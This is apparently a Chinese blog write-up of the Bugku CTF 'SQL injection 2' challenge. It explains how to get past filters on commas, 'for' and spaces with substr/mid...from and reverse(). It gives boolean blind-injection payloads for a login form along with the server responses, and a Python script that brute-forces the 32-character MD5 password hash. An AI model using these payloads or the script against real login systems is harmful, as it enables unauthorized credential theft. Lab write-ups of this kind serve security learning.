bugku学习之43.sql注入2(只剩下from没过滤其余的全部过滤)

考察:

  • 逗号被过滤:substr(from for)或者mid(from for)截断
  • for被过滤:不使用for则mid(from)默认截断到字符串位
  • 空格被过滤:不使用空格
  • admin字符串与另一个字符串比较时会被翻译成0或者空格
    所以’admin’-’‘的意思是减去空字符串,所以值为0,更深远的’admin’-0-’‘先减去0再减去空字符串,值也为0,而’admin’-1-’'的值则为1。
  • 此题为post注入已经具有首尾两个单引号于是只需要在输入框输入admin’-1-‘和admin’-0-'即可。由此1和0的位置可以替换为注入查询的字符串比如:
uname=admin'-(length('a')!=1)-'&passwd=1111

#Burp: <script> alert('password error!!@_@');parent.location.href='index.php'; </script>


 密码错误说明账号正确,a的长度就是1

 uname=admin'-(length(database())!=3)-'&passwd=1111

 #Burp:<script> alert('password error!!@_@');parent.location.href='index.php'; </script>

 database()长度就是3

 也可以用等于号则username error为真:
 uname=admin'-(length(database())=3)-'&passwd=111
#Burp: <script> alert('username error!!@_@');parent.location.href='index.php'; </script>
 database()长度就是3

 uname=admin'-(length(passwd)=32)-'&passwd=111
#Burp: <script> alert('username error!!@_@');parent.location.href='index.php'; </script>
 passwd密码是32位推测是MD5的32加密码

 uname=admin'-(length(passwd)!=32)-'&passwd=1111

#Burp: <script> alert('password error!!@_@');parent.location.href='index.php'; </script>

 passwd密码是32位推测是MD5的32加密码

 下面推测passwd这32位分别是什么
 首先想到ascii(substr(passwd,1,1))=46
 又逗号被过滤:
 ascii(substr(passwd from 1 for 1))=46
 又for被过滤:
 舍弃for则自动截断到字符串尾部比如一个字符串123
 则每次截取尾部依次是3/23/123
 于是截取尾部后翻转3/32/321之后再截取尾部
 ascii(substr(reverse(substr(passwd from -1))from -1))=46
更详细解释:
mid((passwd)from(-1)) ->3

mid((passwd)from(-2)) ->23

mid((passwd)from(-3)) ->123

倒叙输出几位,但是这样如果要截取最后一位的话,显然每次截取的都是3,因此我们反转过来,使得每次截取出来的不一样

先倒叙取出几位

mid((passwd)from(-%d))

反转

reverse(mid((passwd)from(-%d)))

取最后一位

mid(reverse(mid((passwd)from(-%d)))from(-1))

比较ascii值

(ascii(mid(reverse(mid((passwd)from(-%d)))from(-1)))=%d)
或者
(ascii(substr(REVERSE(substr((passwd)FROM(-%d)))FROM(-1)))=%d)
测试一下发现

当表达式为真时,返回的是username error!!


当表达式为假时,返回的是password error!!

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

import requests

url="http://123.206.87.240:8007/web2/login.php"

flag=""

for i in range(1,33):
	for j in range(32,126):
		userPayload="admin'-(ascii(substr(REVERSE(substr((passwd)FROM(-%d)))FROM(-1)))=%d)-'" %(i,j)
		data={
			'uname':userPayload,
			'passwd':111
		}
		r = requests.post(url=url,data=data).text
		if 'username error' in r:
			print(i)
			flag += chr(j)
			print(flag)
print("=================================>")
print("\n" + flag)

运算结果:
在这里插入图片描述
Note:

  • md5解密网站:https://www.somd5.com/
  • 脚本一直无法运行是因为最开始的url写错,应该是login.php而不是Index.php要细心根据burp上的url地址去写。
  • 空格要注意,实在需要写可以改写成%20
  • %23单引号,0x3e冒号,%20空格
发布了30 篇原创文章 · 获赞 0 · 访问量 2045

猜你喜欢

转载自blog.csdn.net/s11show_163/article/details/104686969
今日推荐